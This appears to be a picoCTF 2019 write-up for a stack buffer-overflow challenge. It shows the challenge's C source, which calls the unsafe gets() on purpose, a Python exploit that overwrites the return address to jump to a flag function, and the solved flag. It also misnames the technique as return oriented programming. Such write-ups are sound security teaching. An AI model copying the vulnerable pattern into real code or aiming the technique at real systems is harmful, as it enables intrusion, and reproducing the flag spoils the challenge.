picoCTF 2019 - OverFlow 1 writeup
Description
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program?
Category: Binary Exploitation
Points: 150
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
printf("Woah, were jumping to 0x%x !\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}
Explanation
The code reads in user input and prints the return address the code will jump to. It uses the vulnerable gets function. This means we can overwrite the return address to point to somewhere else on the stack! This exploit is known as return oriented programming.
Note: get_return_address is a custom function created by the level designers and stored in the header file “asm.h”. The closest “official” alternative I found were these GCC built-in functions.
Plan
- Cause buffer overflow
- Modify the return address to point to the flag function
Exploit
Before we can modify the return address we need to overflow the buffer, base pointer (ebp), and any padding added by the compiler. For me this required 76 bytes of garbage data. Finally, add the new return address (flag) to overwrite the old return address (eip).
import struct
padding = 'A' * 76 # overflow buffer and base pointer
new_eip = struct.pack('I', 0x080485e6) # start address of flag()
print(padding + new_eip)
Running the above python code gives the following result:
$ python /tmp/overflow1/exploit.py | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5fe1ff3d8}Segmentation fault (core dumped)